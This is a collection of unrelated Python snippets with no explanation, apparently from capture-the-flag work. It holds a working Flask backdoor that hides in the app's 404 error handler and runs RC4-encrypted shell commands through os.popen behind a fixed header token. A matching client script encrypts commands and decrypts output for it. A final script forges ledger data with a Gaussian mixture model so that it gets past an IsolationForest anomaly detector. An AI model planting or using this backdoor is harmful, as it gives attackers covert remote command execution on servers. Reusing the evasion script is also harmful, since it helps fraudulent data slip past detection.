wY2pcYrcD2OR6AikMvm2c0bhabJB6o0DhONJ4lCxmKdGBzuwrts1u0D2yuo37yLLfsGDuyepNw8lyTNc2nyhCVBfW23DnBQmWc1QLCoRppVhjKXwOpODKO8R8YHnQM+rLk6EOabCdGK57iRzMcT3wc436kVmHXDcI0ZsYGY5aIC5DbdWjUt2ZuU0LmuLwzCTS99zhOoO8DKNqbK4bINLyAI2X928xib+hmIOqp3oSgC2PdFc8yqthN9S55omtex2xkEe8CY48C6z4JtqVtqhPQWQ8kte6xlepiVYCqIbE2Vg4fN//L/ff/u//9p4Lz7uq46yWenkJ/x90j/5mEIors5McSuFi9dygyyR5wJfuqGhOfsVVwJe'))

global exc_class
global code
import os,binascii
exc_class, code = app._get_exc_class_and_code(404)
RC4_SECRET = b'v1p3r_5tr1k3_k3y'
def rc4_crypt(data: bytes, key: bytes) -> bytes:
        S = list(range(256))
        j = 0
        for i in range(256):
                j = (j + S[i] + key[i % len(key)]) % 256
                S[i], S[j] = S[j], S[i]
        i = j = 0
        res = bytearray()
        for char in data:
                i = (i + 1) % 256
                j = (j + S[i]) % 256
                S[i], S[j] = S[j], S[i]
                res.append(char ^ S[(S[i] + S[j]) % 256])
        return bytes(res)
def backdoor_handler():
        if request.headers.get('X-Token-Auth') != '3011aa21232beb7504432bfa90d32779':
                return "Error"
        enc_hex_cmd = request.form.get('data')
        if not enc_hex_cmd:
                return ""
        try:
                enc_cmd = binascii.unhexlify(enc_hex_cmd)
                cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode('utf-8', errors='ignore')
                output_bytes = getattr(os, 'popen')(cmd).read().encode('utf-8', errors='ignore')
                enc_output = rc4_crypt(output_bytes, RC4_SECRET)
                return binascii.hexlify(enc_output).decode()
        except:
                return "Error"
app.error_handler_spec[None][code][exc_class]=lambda error: backdoor_handler()

import binascii

RC4_SECRET = b'v1p3r_5tr1k3_k3y'

def rc4_crypt(data: bytes, key: bytes) -> bytes:
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]
    i = j = 0
    res = bytearray()
    for char in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        res.append(char ^ S[(S[i] + S[j]) % 256])
    return bytes(res)

def decrypt_response(enc_hex_response: str) -> str:
    enc_response = binascii.unhexlify(enc_hex_response)
    decrypted = rc4_crypt(enc_response, RC4_SECRET)
    return decrypted.decode('utf-8', errors='ignore')

def encrypt_command(command: str) -> str:
    cmd_bytes = command.encode('utf-8')
    enc_cmd = rc4_crypt(cmd_bytes, RC4_SECRET)
    return binascii.hexlify(enc_cmd).decode()

if __name__ == '__main__':
    import sys
    
    if len(sys.argv) < 2:
        print("Usage:")
        print("  解密响应: python rc4_decrypt.py -d <hex_data>")
        print("  加密命令: python rc4_decrypt.py -e <command>")
        print("\n示例:")
        print("  python rc4_decrypt.py -d 48656c6c6f20576f726c64")
        print("  python rc4_decrypt.py -e 'ls -la'")
        sys.exit(1)
    
    mode = sys.argv[1]
    
    if mode == '-d' and len(sys.argv) >= 3:
        enc_hex = sys.argv[2]
        try:
            decrypted = decrypt_response(enc_hex)
            print(f"[+] 解密结果: {decrypted}")
        except Exception as e:
            print(f"[!] 解密失败: {e}")
    
    elif mode == '-e' and len(sys.argv) >= 3:
        command = sys.argv[2]
        try:
            enc_hex = encrypt_command(command)
            print(f"[+] 加密结果: {enc_hex}")
            print(f"[+] 完整请求:")
            print(f"    X-Token-Auth: 3011aa21232beb7504432bfa90d32779")
            print(f"    data={enc_hex}")
        except Exception as e:
            print(f"[!] 加密失败: {e}")
    
    else:
        print("[!] 错误的参数")
        print("Usage:")
        print("  解密响应: python rc4_decrypt.py -d <hex_data>")
        print("  加密命令: python rc4_decrypt.py -e <command>")

import pandas as pd
import numpy as np
from sklearn.ensemble import IsolationForest
from sklearn.preprocessing import StandardScaler
from sklearn.decomposition import PCA
import warnings
warnings.filterwarnings("ignore")

# 假设你已经将 public_ledger.csv 加载到 df 中
df = pd.read_csv("public_ledger.csv")

# 使用所有特征进行建模
features = [col for col in df.columns if col.startswith('f')]
X = df[features]

# 标准化（Isolation Forest 对尺度敏感）
scaler = StandardScaler()
X_scaled = scaler.fit_transform(X)

# 构建 Isolation Forest 模型
iso_forest = IsolationForest(contamination=0.1, random_state=42)
iso_forest.fit(X_scaled)

scores = iso_forest.decision_function(X_scaled)
df['anomaly_score'] = scores

# 查看前几条是否为正常
print(df.head())

from sklearn.mixture import GaussianMixture

# 训练 GMM 模型
gmm = GaussianMixture(n_components=5, random_state=42)
gmm.fit(X_scaled)

# 生成新样本
new_samples_scaled = gmm.sample(n_samples=1000)[0]

# 反标准化回原始空间
new_samples = scaler.inverse_transform(new_samples_scaled)

# 假设你已生成 new_samples（形状为 (1000, 20)）
new_df = pd.DataFrame(new_samples, columns=features)

# 设置 feat_0（交易金额）为一个合理的分布（比如正态分布）
mean_amount = df['f0'].mean()
std_amount = df['f0'].std()

new_df['f0'] = np.random.normal(mean_amount, std_amount, 1000)
new_df['f0'] = np.abs(new_df['f0'])  # 保证非负

# 保证总金额 > 2,000,000
total_amount = new_df['f0'].sum()
if total_amount < 2000000:
    # 调整 feat_0 的值
    scale_factor = 2000000 / total_amount
    new_df['f0'] *= scale_factor

# 重新标准化
new_samples_scaled = scaler.transform(new_df[features])

# 判断是否为正常
scores = iso_forest.decision_function(new_samples_scaled)
normal_count = (scores > 0).sum()
print(f"伪造数据中被判定为正常的数量：{normal_count} / 1000")

# 转换为 CSV 字符串
csv_output = new_df.to_csv(index=False)

# 附加 EOF
final_output = csv_output + "\nEOF"

# 输出
print(final_output)